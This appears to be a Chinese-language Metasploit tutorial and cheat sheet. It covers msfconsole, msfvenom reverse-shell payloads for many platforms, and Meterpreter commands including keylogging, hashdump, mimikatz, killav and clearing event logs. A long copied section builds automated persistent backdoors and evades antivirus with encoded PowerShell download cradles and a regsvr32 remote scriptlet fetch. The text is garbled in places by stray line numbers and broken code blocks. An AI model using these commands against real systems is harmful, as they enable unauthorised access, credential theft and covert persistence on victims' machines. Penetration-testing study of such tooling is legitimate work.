Metasploit体系框架

基础库文件

基础库文件位于源码根目录下的libraries目录中,包括

Rex //整个Metasploit框架所依赖的最基础的组件,为开发者提供基础功能支持

framwork-core //负责实现所有与各种类型的上层模块及插件的交互接口

framework-base //扩展了framework-core,提供更加简单的包装例程,为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块

模块

模块是通过Metasploit框架装载集成对外提供的最核心的渗透测试功能实现代码。
分为

  • Aux(辅助模块)

  • Exploit(攻击模块)

  • Payloads(攻击载荷模块)

  • Nops(空指令模块)

  • Encoders(编码器模块)

知道漏洞名称之后可以在

https://www.exploit-db.com
https://www.rapid7.com

搜索对应的模块或者poc添加利用

插件

插件是扩充的功能,可以集成现有的一些玩不安全工具比如Nessus OpenVAS等,为用户接口提供新的命令

接口

Metasploit框架提供了多种用户接口,包括

  • msfconsole控制台终端

  • msfcli命令行

  • armitage图形化界面

  • msfapi远程调用接口

功能程序

Metasploit提供了一些列可直接运行的功能程序,支持用户快速利用Metasploit框架内部能力完一些任务。


  • 启动metasploit(命令行模式) :msfconsole
  • (图形化模式):msfgui
  • 升级metasploit:msfupdate
  • 查看命令使用帮助信息:help [COMMAND]
  • 搜索模块:search [模块名 //(search ms08-067)
  • 选择模块:use xxx/xxx/xxx
  • 查看模块信息:info
  • 查看攻击载荷:show payloads
  • 设置攻击载荷:set payload xxx/xxx/xxx
  • 查看需要设置的配置参数:show options
  • 设置配置参数:set XXXX xxxxxx
  • 开始攻击:exploit
  • 退出当前模块:back
  • 退出msf : exit
  • 使用.rc脚本自动化处理
    如创建listener.rc文件写入
    1
    2
    3
    4
    5
    6
    use exploit/multi/handler
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST <Your Vps's IP>
    set LPORT <Your Port>
    set ExitOnSession false
    exploit -j-z
    使用时运行msfconsole -r /opt/listner.rc即可自动执行.rc文件内的命令省去频繁操作

  • 搜索时出现![] Database not connected or cache not built, using slow search
    1
    2
    3
    4
    msf > db_status
    service postgresql start
    sercice metasploit start
    msf > db_rebuild_cache

[========]

Msfvenom

help参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Options:
-p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#039;-&#039;或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集,比如: &#039;\x00\xff&#039;
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表

生成payload,有有两个必须的选项:-p -f

使用-p 来指定要使用的payload。

可以使用下面的命令来查看所有msf可用的payload列表

msfvenom -l payloads

-p选项也支持使用使用自定义的payload,需要使用 “-“,比如:

cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw

使用-f 来指定payload的输出格式

msfvenom -p windows/meterpreter/bind_tcp -f exe

使用下面的命令,可以产看msf支持的输出格式

msfvenom --help-formats

典型的msfvenom使用:

  • Windows

    1
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Attacker's IP] LPORT=4444 -f exe -o /tmp/my_payload.exe
  • Linux

    1
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > root.elf
  • Mac

    1
    msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f macho > shell.macho
  • Bash

    1
    msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PORT> -f raw > shell.sh
  • PHP

    1
    2
    3
    4
    msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
    ```

    * ASP

    msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp

    1
    * JSP

    msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

    1
    * Python

    msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93

    ## 对payload进行编码

    如果你使用了`-b`选项(设定了规避字符集),会自动调用编码器。

    其他情况下,你需要使用`-e`选项来使用编码模块,例如:

    msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw
    可以使用下面的命令,来查看可用的编码器

    msfvenom -l encoders
    你也可以使用-i选项进行多次编码。某些情况下,迭代编码可以起到规避杀毒软件的作用,但你需要知道,编码并没有使用一个真正意义上的AV规避方案。

    可以使用下面的命令来进行迭代编码:

    msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3

    **规避字符**

    使用-b选项意味着在生成payload的时候对某些字符进行规避。当你使用这个选项的时候,msfvenom会自动的使用合适的编码器对payload进行编码,比如:

    msfvenom -p windows/meterpreter/bind_tcp -b &#039;\x00&#039; -f raw

    **使用自定义可执行文件模板**

    默认的,msfvenom使用的模板文件保存在`msf/data/templates`目录中,如果你想使用你自己的模板文件,你可以使用`-x`选项来指定,比如:

    msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe
    这个命令将使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload。

    # 监听连接

    使用`exploit/multi/handler`监听连入的backdoor

    msf > use exploit/multi/handler

    设置对应的payload

    msf exploit(handler) > set payload windows/meterpreter/reverse_http
    显示设置

    msf exploit(handler) > show options
    显示高级设置

    msf exploit(handler)> show advanced

    进行设置如set LHOST之后

    msf exploit(handler) > exploit -j

    在后台运行handler进行监听payload的连接

    * 小技巧,使用命令`set ExitOnSession false`为保持会话存活,可以同时接受多个sessions

    ## 会话

    sessions



    列出可用的交互会话(在处理多个shell时使用)

    sessions -l

    列出所有可用的交互会话以及详细信息,EG:攻击系统时使用了哪个安全漏洞。

    sessions -l -v

    在所有活跃的metasploit会话中运行一个特定的metasploit脚本

    sessions -s script

    在所有活跃的metasploit会话上执行一个命令。

    sessions -c cmd

    * *对于cmd会话,应执行cmd命令,对于meterpreter会话,应执行meterpreter命令,如果命令中间有空格,可使用""包裹命令*

    升级一个普通的cmd shell到meterperter shell

    sessions -u sessionID

    * *可同时设定多个sessionID,如执行`sessions -u 1,2,3,4`*

    ---

    [========]

    # Meterpreter

    ## 基本命令

    ### 核心命令

    ? – 帮助菜单
    background – 将当前会话移动到背景
    bgkill – 杀死一个背景 meterpreter 脚本
    bglist – 提供所有正在运行的后台脚本的列表
    bgrun – 作为一个后台线程运行脚本
    channel – 显示活动频道
    close – 关闭通道
    exit – 终止 meterpreter 会话
    help – 帮助菜单
    info -
    interact – 与通道进行交互
    irb – 进入 Ruby 脚本模式
    migrate – 移动到一个指定的 PID 的活动进程
    quit – 终止 meterpreter 会话
    read – 从通道读取数据
    run – 执行以后它选定的 meterpreter 脚本
    use – 加载 meterpreter 的扩展
    write – 将数据写入到一个通道

    1
    2

    ### 文件系统命令

    cat -读取并输出到标准输出文件的内容
    cd -更改目录对受害人
    del -删除文件对受害人
    download-从受害者系统文件下载
    search - 在目标主机文件系统上查找搜索文件例如:search -d c:\ -f *.doc 在目标主机C盘下搜索doc文档
    edit-用 vim编辑文件
    getlwd -打印本地目录
    getwd -打印工作目录
    lcd -更改本地目录
    lpwd -打印本地目录
    ls -列出在当前目录中的文件列表
    mkdir -在受害者系统上的创建目录
    pwd -输出工作目录
    rm -删除文件
    rmdir -受害者系统上删除目录
    upload-从攻击者的系统往受害者系统上传文件

    1
    ### 网络命令

    ipconfig -显示网络接口的关键信息,包括 IP 地址、 等。
    portfwd -端口转发 例如:portfwd add -l 1122 -p 3389 -r 192.168.250.176把目标主机192.168.250.176的3389端口转发到1122端口
    route -查看或加入受害者路由表 route add 5.5.5.0 255.255.255.0 1 用sessions 1会话加入指定网段
    arp - 显示主机ARP缓存
    getproxy - 显示当前代理配置
    netstat - 显示网络连接

    1
    ### 系统命令

    clearev -清除了受害者的计算机上的事件日志
    drop_token -被盗的令牌
    execute-执行命令 在目标主机上运行某个程序 execute -f notepad.exe 行目标主机上的记事本程序 隐藏后台执行,加参数-H
    getpid -获取当前进程 ID (PID)
    getprivs -尽可能获取尽可能多的特权
    getenv 获取一个或多个环境变量值
    localtime 显示目标系统的本地日期和时间
    pgrep 按名称显示进程
    pkill 按名称终止进程
    getuid -获取作为运行服务器的用户
    kill -终止指定 PID 的进程
    ps -列出正在运行的进程
    reboot-重新启动受害人的计算机
    reg -与受害人的注册表进行交互
    rev2self -在受害者机器上调用 RevertToSelf()
    shell -在受害者计算机上打开一个shell
    shutdown-关闭了受害者的计算机
    steal_token -试图窃取指定的 (PID) 进程的令牌
    suspend - 暂停或恢复进程列表
    sysinfo -获取有关受害者计算机操作系统和名称等的详细信息

    1
    ### 用户界面命令

    enumdesktops -列出所有可访问台式机
    getdesktop -获取当前的 meterpreter 桌面
    idletime -检查长时间以来,受害者系统空闲进程
    keyscan_dump -键盘记录软件的内容转储
    keyscan_start -启动时与如 Word 或浏览器的进程相关联的键盘记录软件
    keyscan_stop -停止键盘记录软件
    screenshot-抓去 meterpreter 桌面的屏幕截图
    set_desktop -更改 meterpreter 桌面
    uictl -启用用户界面组件的一些控件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    ### 提权命令

    getsystem -获得系统管理员权限

    ### 密码转储命令

    hashdump -抓取哈希密码 (SAM) 文件中的值

    `hashdump` 可以跳过杀毒软件,但现在有两个脚本,都更加隐蔽,`run hashdump`和`run smart_hashdump`。

    ### Timestomp 命令

    timestomp -操作修改,访问,并创建一个文件的属性

    ---
    ## 后渗透模块
    抓取目标主机所有用户的明文密码

    load mimikatz
    wdigest

    注入载荷

    use post/windows/manage/payload_inject

    确定目标主机是否是一台虚拟机

    run checkvm

    自动开启3389或者任意端口

    use post/windows/manage/enable_rdp

    开启目标主机远程桌面,并可添加管理员组账号

    run getgui -e

    开启目标主机的远程桌面服务后,可以添加账号以便利用
    命令:

    run getgui -u example_username -p example_password

    连接远程桌面

    rdesktop -u username -p passwd IP

    关闭防护软件

    run killav

    键盘记录

    run keylogrecorder

    查看对方桌面

    run vnc

    获取目标主机上的软件安装信息

    run post/windows/gather/enum_applications

    获取目标主机上最近访问过的文档、链接信息

    run post/windows/gather/dumplinks

    查看目标系统所有网络流量并且进行数据包记录

    run packetrecorder -i 0 //-i 1指定记录数据包的网卡

    读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码

    run post/windows/gather/enum_ie //获取到的目标主机上的ie浏览器缓存历史记录和cookies信息等都保存到了攻击主机本地的/root/.msf5/loot/目录下

    ---
    ## Meterpreter维持访问

    //文章来自http://www.evil0x.com/posts/26075.html

    ### 0x01 MSF Persistent Scripts

    **1、Persistence**

    路径:metasploit/scripts/meterpreter/persistence.rb,用于创建通过启动项启动。会创建注册表,创建文件,很容易被杀软拦截。

    ![](/images/Metasploit基础使用/fcdf15c65b723bf264fd568c8b92f3e6.png)

    使用举例:

    run persistence -A -U -i 5 -p 4455 -r 103.79.77.110

1
2
3
4
5

使用-S可创建服务。-U 会在HKCU添加启动项,-X 会在HKLM添加启动项

能实现同样功能的脚本还有:

exploit/windows/local/persistence.rb
exploit/windows/local/registry_persistence.rb

1
2
3
4
5
6
7
8
9
10

**2、Metsvc**

路径:metasploit/scripts/meterpreter/metsvc.rb,用于创建服务启动。会创建meterpreter服务,并上传三个文件,很容易被杀软拦截,且安装服务需要管理员权限。


![](/images/Metasploit基础使用/03b1cff995983ec08a6a49f595e26edc.png)

使用举例:

run metsvc -A

1
2
3
4
5
6
7

使用 -R 参数可卸载服务。

**3、Scheduleme & Schtasksabuse**

路径:

metasploit/scripts/meterpreter/scheduleme.rb
metasploit/scripts/meterpreter/schtasksabuse.rb

1
2
3
4
5
6
7
8
9
10

这两个脚本都是通过schtasks来创建计划任务来达到维持权限的目的,区别是scheduleme 需要当前进程拥有最高管理权限,而schtasksabuse则不需要,(测试发现很容易被杀软拦截)。

使用举例:

scheduleme


![](/images/Metasploit基础使用/78778c7b2ae2d1fd76a90666214eb415.png)

run scheduleme -m 1 -e /tmp/nc.exe -o “-e cmd.exe -L -p 8080” #上传nc并创建计划任务每一分钟执行一次 ‘nc -e cmd.exe -L -p 8080’
run scheduleme -m 1 -c “cmd /c calc.exe” # 创建计划任务每一分钟执行一次打开计算器命令

1
2
3
4
5
6
7
8

其他参数有兴趣自己看看就不详细介绍了

schtasksabuse


![](/images/Metasploit基础使用/1fc99d4726e8ab5a081b98927ada0d9f.png)

run schtasksabuse -t 192.168.2.7 -c “cmd /c calc.exe” -d 4 #每隔4秒执行一次calc.exe

1
2
3
4
5

使用脚本需要加-T参数

能实现同样功能的脚本还有:

exploits/windows/local/s4u_persistence.rb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

**4、Mof_ps_persist**

之前在 Powershell之MOF后门 提到过,创建WMI后门的一种方式,可以在你的MSF添加此脚本。(运行需要管理员权限,不容易被拦截)


![](/images/Metasploit基础使用/e817599001ce2eba65bb61028b531a37.png)

当然,MSF持续控制的脚本还有几个,这里就不一一介绍了。

### 0x02 Autorunscript

说到要自动运行脚本,离不了autorunscript。autorunscript是一个十分强大的脚本,可以让我们在生成会话的同时,执行指定的操作。现在可以直接通过autorunscript来直接调用的脚本已经有66个,目录在metasploit/scripts/meterpreter,包括屏幕截图,获取环境变量等等,还有我们常用的migrate,uploadexec等。

举个例子,如果我们想在获取到会话的同时,执行persistence进行留后门操作可以直接这样:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.101
set LPORT 5555
set ExitOnSession false
set AutoRunScript persistence -r 192.168.2.101 -p 5556 -U -X -i 30
exploit -j -z

1
2
3
4
5
6
7
8

当生成会话以后,自动执行persistence,结果就像这样:


![](/images/Metasploit基础使用/20066ce53851b7e9dc544d03ed2482d2.png)

当然,同样可以设置metsvc

set AutoRunScript metsvc -A

1
2
3
4
5
6
7
8
9
10
11
12

其实,从标题上来讲,此文已经可以结束了,因为现在完全可以实现Automated Persistent Backdoor的目的。但是,以上两种方式很容易被杀软拦截,那我们还有什么方式么?答案是有的。

在介绍之前,再介绍两个很有用的脚本。multi_console_command 及 multicommand。

multi_console_command:用来执行msf的命令的脚本,帮助信息如下:


![](/images/Metasploit基础使用/4c27b4196dc77b53d57661c9e61ccc2a.png)

使用示例:

meterpreter > run multi_console_command -cl “pwd”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

![](/images/Metasploit基础使用/36d10e85f638626696e8349681e3fbfb.png)

CL参数用来执行一条METERPRETER的命令,RC参数用来执行多条METERPRETER命令,按行分割。

multicommand:用来执行cmd命令的脚本,帮助信息如下:


![](/images/Metasploit基础使用/75a2bdfde7ad7b22bc552b0f0f943a9c.png)

使用示例:

run multicommand -cl “whoami”

![](/images/Metasploit基础使用/0de0dd9ab0d75352f4422b1d8e08e670.png)

此脚本可用来执行CMD命令,有一个缺点就是会一直等待执行的程序退出以返回结果。

### 0x03 Resource scripts

除了使用以上Autorunscript,使用Resource 脚本也是可以的,通常我们常见的rc脚本内容是这样的:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.184
set ExitOnSession false
exploit -j -z

1
2
3

将以上内容保存为1.rc,然后执行如下命令:

msfconsole -r 1.rc

1
2
3

自动输入命令而省去了我们一条一条输入的繁琐。其实,rc文件里面也可以写ruby代码的,一个简单的示例如下:

use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.101
set lport 6666
set uripath /
set ExitOnSession false
exploit -j

sleep(1)
print_status(“Waiting on an incoming sessions…”)
while (true)
framework.sessions.each_pair do |sid,s|
thost = s.tunnel_peer.split(“:”)[0]
# Ensure that stdapi has been loaded before running
if s.ext.aliases[‘stdapi’]
sleep(2)
print_status(“run screenshot to session #{sid} #{thost}…”)
s.console.run_single(“screenshot”)
sleep(2)
print_status(“Executing persistent command…”)
s.console.run_single(“run persistence -r 192.168.2.101 -p 5556 -U -i 30”)
sleep(4)
print_status(“Closing session #{sid} #{thost}…”)
s.kill
print_status(“Waiting on an incoming sessions…”)
else
print_status(“Session #{sid} #{thost} active, but not yet configured”)
sleep(15)
end

    end
    sleep(4)
end

print_status("All done")
1
2
3

使用以上Resource的效果是,开启

exploit/multi/script/web_delivery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

进行配置并开启监听,当产生一个会话以后,自动执行screenshot以及persistent操作,最后关闭当前会话继续等待。效果如下图:


![](/images/Metasploit基础使用/a9caadb7049afd0a566b0ae863addd35.png)

### 0x04 绕过拦截

至此,我们已经可以通过使用autorunscript或者使用添加ruby代码的resource脚本两种方式来让msf在产生会话的同时自动创建Persistent Backdoor了,那么AV那一关怎么过呢?别着急,很多人都知道,Powershell在绕AV上有不错的效果,那我们就试试使用Powershell。

测试过程如下:

1、首先我们先通过web_delivery的PSH获取到一个meterpreter会话。
2、构造创建计划任务命令如下:

schtasks /create /tn mytask /tr notepad.exe /sc hourly /mo 1 #指定每1小时执行一次notepad.exe

1
2
3
4
5
6
7
8

3、测试shell下直接执行(被拦截):


![](/images/Metasploit基础使用/d5ad9f0859218bbf54c7ed137a2a4ac1.png)

4、将以上命令写入schtasks.ps1,然后通过IEX下载执行,这种方式就不会被拦截了:

powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/DemoShell/schtasks.ps1‘);”

1
2
3
4
5
6
7
8
9
10
11
12

测试如下图:


![](/images/Metasploit基础使用/7db1011dbbee86a72eabaaf9b3f7e031.gif)

未被拦截的情况下成功建立计划任务。

5、将命令写入autorunscript:

由于命令中存在引号,可以通过编码方式解决,详细如下:

echo “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/DemoShell/schtasks.ps1‘);” | iconv –to-code UTF-16LE |base64

1
2
3
4
5

![](/images/Metasploit基础使用/ae3f66c96418133307fc1077113b254b.png)

最后执行的命令为:

powershell -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUgBpAGQAdABlAHIALwBQAGUAbgB0AGUAcwB0AC8AbQBhAHMAdABlAHIALwBwAG8AdwBlAHIAcwBoAGUAbABsAC8ARABlAG0AbwBTAGgAZQBsAGwALwBzAGMAaAB0AGEAcwBrAHMALgBwAHMAMQAnACkAOwAKAA==

1
2
3

之后我们就需要用到multicommand脚本了,自动运行的命令为:

set autorunscript ‘multicommand -cl “powershell -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUgBpAGQAdABlAHIALwBQAGUAbgB0AGUAcwB0AC8AbQBhAHMAdABlAHIALwBwAG8AdwBlAHIAcwBoAGUAbABsAC8ARABlAG0AbwBTAGgAZQBsAGwALwBzAGMAaAB0AGEAcwBrAHMALgBwAHMAMQAnACkAOwAKAA==”‘

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

演示如下:


![](/images/Metasploit基础使用/de5d8cffe6a5446af6836eb309e2444d.gif)

现在我们就在获取meterpreter会话之后,绕过拦截自动创建了计划任务,至于怎么样使用计划任务创建一个后门,其实已经有了现成的powershell脚本。请看拓展。

### 0x05 拓展

**PowerSploit** 是一个Powershell的渗透框架,其中含有Persistence模块,不知道小伙伴没有没有测试过。具体怎么使用这里就不详细介绍了,有兴趣可是看一下里面的Help信息。

1、首先,生成一个自动创建计划任务后门的脚本:

加载Persistence模块:

PS C:/Persistence> Import-Module ./Persistence.psm1

1
2
3

因为常常我们希望在没有最高权限的情况下创建后门,为了避免杀软,尽量不使用添加注册表的方式,所以,这里依然使用计划任务的方式来创建,执行时间是计算机空闲状态执行。具体命令如下:

PS C:/Persistence> $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
PS C:/Persistence> $UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
PS C:/Persistence> Add-Persistence -FilePath ./evil.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose

1
2
3
4
5

可以看脚本说明更改触发条件

evil.ps1是计划任务要执行的payload,可以使用以下命令来生成。

msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.2.101 lport=7777 -f psh-reflection -o evil.ps1

1
2
3
4
5
6
7
8
9
10
11

最终生成脚本如下:

![](/images/Metasploit基础使用/911a9b7e60da9a0467e895753955045c.png)

2、测试脚本功能:

将Persistence.ps1 脚本放到web上通过IEX来加载。创建成功以后当电脑空闲时,会执行命令,从而产生meterpreter会话。

测试方式为执行以下命令:

powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://domain.com/Persistence.ps1‘); “

1
2
3
4
5
6
7
8
9
10
11
12
13

在这里发现一个小BUG,运行脚本的时候,执行的POWERSHELL对话框并不会隐藏,解决方式是修改PERSISTENCE.PS1 ,找到POWERSHELL.EXE -NONINTERACTIVE 并添加 -W HIDDEN 参数。如果有已经有了CMD权限,可以直接执行此命令添加计划任务后门,这里设置为获取METERPRETER之后自动执行是为了在通过某些其他漏洞获取METERPRETER会话之后自动创建计划任务后门。

测试发现脚本可以实现我们想要的功能。

3、构造Autorunscript命令:

现在要做的就是把Auturunscript以及Persistence.ps1相结合使用,由于命令中存在引号,可以根据前文中提到的方式进行编码处理。但是,经过测试,按照上文中的方式执行是有问题的,multicommand执行会等待程序执行结束并获取执行结果,这样一来,由于执行的进程不会退出且无回显,所以,会导致程序报错!

多次测试以后,找到了解决方式,即使用http://drops.wooyun.org/tips/15124所讲的方式。

构造sct文件如下:






1
2
3

将以上内容命名为test.jpg并放到web服务器上(替换掉base64codes),之后执行

regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dll

1
2
3
4
5

与执行powershell的命令是等价的。并且会通过regsvr32开启新的进程而不影响multicommand的执行。

所以最终要设置的内容为:

set autorunscript ‘multicommand -cl “regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dll”‘

1
2
3
4
5
6
7
8
9

当获取meterpreter会话以后,自动执行命令安装后门:

![](/images/Metasploit基础使用/d8cb663d42e64a21295f0bc78beca4f1.png)

这样,两者就完美的结合了。重启以后,空闲状态时,脚本执行,重新获取meterpreter会话。这里就不截图了。

以上命令可写入rc文件方便运行:

payload.rc:

1

use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.101
set lport 6666
set uripath /
set ExitOnSession false
set autorunscript ‘multicommand -cl “regsvr32 /u /s /i:http://domain.com/test.jpg scrobj.dll”‘
exploit -j
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.2.101
set lport 7777
set ExitOnSession false
exploit -j


自己配置修改相关选项

---

# 数据库
*Metasploit支持使用数据库来保存渗透测试过程中获取的各种数据*
### 启用数据库

**Metasploit的数据库支持**

    root@kali:~# service postgresql start//开启postgresql数据库
    root@kali:~# msfdb init//初始化msf数据库
    
//输入如下命令,查看默认安装的PostgreSQL数据库默认管理员口令:

    cat /opt/metasploit/properties.ini | grep "postgres_root_password" postgres_root_password=84cd2bcf

**在Metasploit中使用PostgreSQL**

*第一次运行msfconsole时,Metasploit会创建名称为msf3dev的PostgreSQL数据库,并生成保存渗透测试数据所需的数据表,然后使用名称为msf3的用户,自动连接到msf3数据库*

查看数据库的连接状态:
     
    > db_status
    [*] postgresql connected to msf3dev //说明数据库连接正常
    
### 连接到其他数据库

*每次msfconsole启动时,会自动连接到msf3dev数据库,连接到其他数据库应用db_connect命令*
    
    msf > db_connect 用户名:口令@服务器地址:端口/数据库名称
用户名为postgres,口令如上在/opt/metasploit/properties.ini中查找

输入db_connect连接

    msf > dv_connect postgress:84cd2bcf@localhost:7337/msf4
连接到数据库后,可以使用hosts命令检查数据库是否可以正常使用。
    
    msf > hosts
    Hosts
    =====
    address mac name os_name os_flavor os_sp purpose info comments

删除一个数据库:

    /opt/framework/metasploit/bin/dropdb msf4
    password:

断开数据库连接:

    msf > db_disconnect

**Nmap连接渗透测试数据库**

    msf > db_nmap -Pn -sV  10.10.10.0/24
该命令是Nmap的一个封装,与Nmap使用方法一样,其执行结果会自动输入到数据库当中

也可以将Nmap扫描结果导出为一个输出文件,并导入渗透测试数据库中,只要在Nmap命令中加入-oX参数

    nmap -Pn -sV -oX dmz 10.10.10.0/24
扫描结束后,在当前目录下生成名为dmz的文件,可以在msf终端中导入数据库中
    
    msf > db_import /root/dmz
    
 // db_import命令还能识别Acunetix,Amap,Appscan,Burp Session,Microsoft Baseline Security Analyzer,Nessus,NetSparker,NeXpose,OpenVAS Report,Rentina 等扫描器的结果

**OpenVAS连接渗透测试数据库**


    首先载入OpenVAS插件,并连接到PoenVAS管理引擎
    msf > load openvas
    msf > openvas_connect admin your_openvas_passwd 10.10.10.128 9390 ok
找到想要导入的扫描报告,导入数据库中
*Metasploit之支持导入NBE格式的扫描报告,导入前需要使用openvas_format_list查找NBE格式的ID号
    
    msf > openvas_report_list
    msf > openvas_format_list
    msf > openvas_report_import 2 4

**共享渗透测试信息数据库**

- [ ]  waiting



[========]


# 模块总结
## 系统部分

### 活跃主机扫描
*Metasploit主机发现模块*

模块位于源码路径的modules/auxiliary/scanner/discovery/  

主要有
    
    arp_sweep
    ipv6_mulitcast_ping
    ipv6_neighbor
    ipv6_neighbor_router_advertisement
    udp_probe
    udp_sweep
* arp_sweep使用arp请求枚举本地局域网中的所有活跃主机
* udp_sweep通过发送UDP数据包探查指定主机是否活跃,并发现主机上的udp服务。

---
**arp_sweep模块使用方法**

    > use auxiliary/scanner/discovery/arp_sweep
    > show options

1. 首先输入RHOSTS设置扫描目标 //大部分RHOSTS可以设置一个或多个IP,多个IP之间使用连字符“-”表示。

    
    > set RHOSTS 10.10.10.0/24
    > set THREADS 50
    > run

2. 设置好参数后输入run启动扫描器

---


### 端口扫描
可以输入如下命令找到相关扫描器

    > search portscan
返回

    auxiliary/scanner/protscan/ack //通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测 
    auxiliary/scanner/protscan/ftpbounce //通过FTP bounce攻击的原理对TCP服务进行枚举,一些新的FTP服务器软件能很好的防范此攻击,但在旧的系统上仍可以被利用
    auxiliary/scanner/protscan/syn  //使用发送TCP SYN标志的方式探测开放端口
    auxiliary/scanner/protscan/tcp  //通过一次完整的TCP连接来判断端口是否开放 最准确但是最慢
    auxiliary/scanner/protscan/xmas  //一种更为隐秘的扫描方式,通过发送FIN,PSH,URG标志,能够躲避一些高级的TCP标记检测器的过滤
    
*一般情况下推荐使用syn端口扫描器,速度较快,结果准确,不易被对方察觉*

**syn扫描器的使用**

    > use auxiliary/scanner/protscan/syn
    > set RHOSTS 10.10.10.10/254
    > set THREADS 20
    > run
---

### 服务扫描与查点
*确定开放端口后,对相应端口上锁运行的服务信息进行挖掘*

在Metasploit的Scanner辅助模块中,用于服务扫描和查点的工具常以
    
    [service_name]_version
    
和
    
    [service_name]_login
    
命名

* [service_name]_version 可用于遍历网络中包含了某种服务的主机,并进一步确定服务的版本。
* [service_name]_login 可对某种服务进行口令探测攻击

在msf终端中可以输入:

    search name:_version
查看所有可用的服务查点模块

---

### 常见网络服务扫描

**Telnet服务扫描**

    > use auxiliary/scanner/telnet/telnet_version
    > set RHOSTS xxx.xxx.xxx/24
    > set THREADS 100
    > run
**SSH服务扫描**

